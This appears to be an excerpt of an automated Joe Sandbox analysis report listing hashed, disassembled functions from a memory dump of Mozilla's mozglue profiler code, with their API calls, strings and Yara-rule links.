Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 6C65DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f507c3a40e30bb75c6dbac6c7f5f919d4ae699a00a2122d34a085692fc3455ad
Instruction ID: a39475386c5918ebd676784b8f17469e4ce99828062bf41cefbf34d5986a195a
Opcode Fuzzy Hash: f507c3a40e30bb75c6dbac6c7f5f919d4ae699a00a2122d34a085692fc3455ad
Instruction Fuzzy Hash: DC42D472A087508BD708CE3CC49035AF3E2BFC9364F594B2DE999A7790D738D9518B86

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C6CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 6C65C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 47d4b005ea0d460a9a087beec7120d377fd57c6bf0f934b183e120b1cd954d5e
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 16A1AF71F0021A9FDB08CE68C8913AEB7F2AFC9354F588129D916E7781DB349D168B90

Function 6C697710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 351120e2737157688eeb678ff5367d367066799f34b190f59fbea874aff8ee7b
Instruction ID: 079eca84145a93ddf9a999312de41e95189b487121d3b2ef349809f951b8e3dd
Opcode Fuzzy Hash: 351120e2737157688eeb678ff5367d367066799f34b190f59fbea874aff8ee7b
Instruction Fuzzy Hash: 97714C75E0121A8FCF18CFA9D8906EDBBB2FF89314F24816ED416AB740D731A945CB94

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

unregisteredthreads, xrefs: 6C69CE58
jsallocations, xrefs: 6C69CD0E
nostacksampling, xrefs: 6C69CD7C
fileioall, xrefs: 6C69CCA8
noiostacks, xrefs: 6C69CCBE
nativeallocations, xrefs: 6C69CDA8
fileio, xrefs: 6C69CC92
processcpu, xrefs: 6C69CE6E
preferencereads, xrefs: 6C69CD92
cpuallthreads, xrefs: 6C69CE16
Unrecognized feature "%s"., xrefs: 6C69CEA0
screenshots, xrefs: 6C69CCD4
stackwalk, xrefs: 6C69CCF8
samplingallthreads, xrefs: 6C69CE2C
mainthreadio, xrefs: 6C69CC7C
java, xrefs: 6C69CC37
seqstyle, xrefs: 6C69CCE6
power, xrefs: 6C69CE84
markersallthreads, xrefs: 6C69CE42
notimerresolutionchange, xrefs: 6C69CE00
audiocallbacktracing, xrefs: 6C69CDD4
default, xrefs: 6C69CC21
leaf, xrefs: 6C69CC66
ipcmessages, xrefs: 6C69CDBE

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C6647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C664801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C664817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C66482D
__Init_thread_footer.LIBCMT ref: 6C66484A

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

GetCurrentThreadId.KERNEL32 ref: 6C66485F
GetCurrentThreadId.KERNEL32 ref: 6C66487E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66488B
free.MOZGLUE(?), ref: 6C66493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C664956
free.MOZGLUE(00000000), ref: 6C664960
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66499A

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

free.MOZGLUE(?), ref: 6C6649C6
free.MOZGLUE(?), ref: 6C6649E9

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C664812
[I %d/%d] profiler_shutdown, xrefs: 6C664A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6647FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6C664A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C664828

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 21d231439b3aeb972dff8dc6797452225e9d0fe7018f2695c1c12f90be17e923
Instruction ID: 293c3bd29150b65420c401d9490c4a137bcc40bf04f2f5a2f0f5404c09a1b792
Opcode Fuzzy Hash: 21d231439b3aeb972dff8dc6797452225e9d0fe7018f2695c1c12f90be17e923
Instruction Fuzzy Hash: D3810470A001009BDB14DF2BC8A476A3775AF82329F140629D916D7F46D7B1F845CB9F

Function 6C664470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

kernel32.dll, xrefs: 6C6644CD
Gml, xrefs: 6C6644FC
NativeNtBlockSet_Write, xrefs: 6C6646F7
user32.dll, xrefs: 6C664557, 6C66463F
l, xrefs: 6C664578
WRusr.dll, xrefs: 6C6644B5

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-884719140
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 6C69F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C69F8F9

Part of subcall function 6C666390: GetCurrentThreadId.KERNEL32 ref: 6C6663D0
Part of subcall function 6C666390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6663DF
Part of subcall function 6C666390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C66640E

ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F93A
GetCurrentThreadId.KERNEL32 ref: 6C69F98A
GetCurrentThreadId.KERNEL32 ref: 6C69F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F716

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C65B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C65B5E0

GetCurrentThreadId.KERNEL32 ref: 6C69F739
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F746
GetCurrentThreadId.KERNEL32 ref: 6C69F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6D385B,00000002,?,?,?,?,?), ref: 6C69F829
free.MOZGLUE(?,?,00000000,?), ref: 6C69F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C69F866
free.MOZGLUE(?), ref: 6C69FA0C

Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C
Part of subcall function 6C665E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EAB
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EB8
Part of subcall function 6C665E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F53
Part of subcall function 6C665E60: GetCurrentThread.KERNEL32 ref: 6C665F5C
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F66
Part of subcall function 6C665E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E

free.MOZGLUE(?), ref: 6C69F9C5
free.MOZGLUE(?), ref: 6C69F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C69F71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C69F9A6
Thread , xrefs: 6C69F789
" attempted to re-register as ", xrefs: 6C69F858

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction ID: ac30982e706685506d0b69bd6c31d6219e903b9dfed3c3e8203c429b5339d853
Opcode Fuzzy Hash: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction Fuzzy Hash: 908106716042019FDB10DF25C880AAEB7B5EFC6308F55456DE8499BB51EB30E849CBAF

Function 6C69EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EE60
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE6D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69EEA5
CloseHandle.KERNEL32(?), ref: 6C69EEB4
free.MOZGLUE(00000000), ref: 6C69EEBB
GetCurrentThreadId.KERNEL32 ref: 6C69EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EECF

Part of subcall function 6C69DE60: GetCurrentThreadId.KERNEL32 ref: 6C69DE73
Part of subcall function 6C69DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B
Part of subcall function 6C69DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
Part of subcall function 6C69DE60: free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
Part of subcall function 6C69DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C69EF1E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF2B
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF59
GetCurrentThreadId.KERNEL32 ref: 6C69EFB0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFBD
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFE1
GetCurrentThreadId.KERNEL32 ref: 6C69EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F000

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F02F

Part of subcall function 6C69F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C69F008
[I %d/%d] profiler_stop, xrefs: 6C69EED7

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

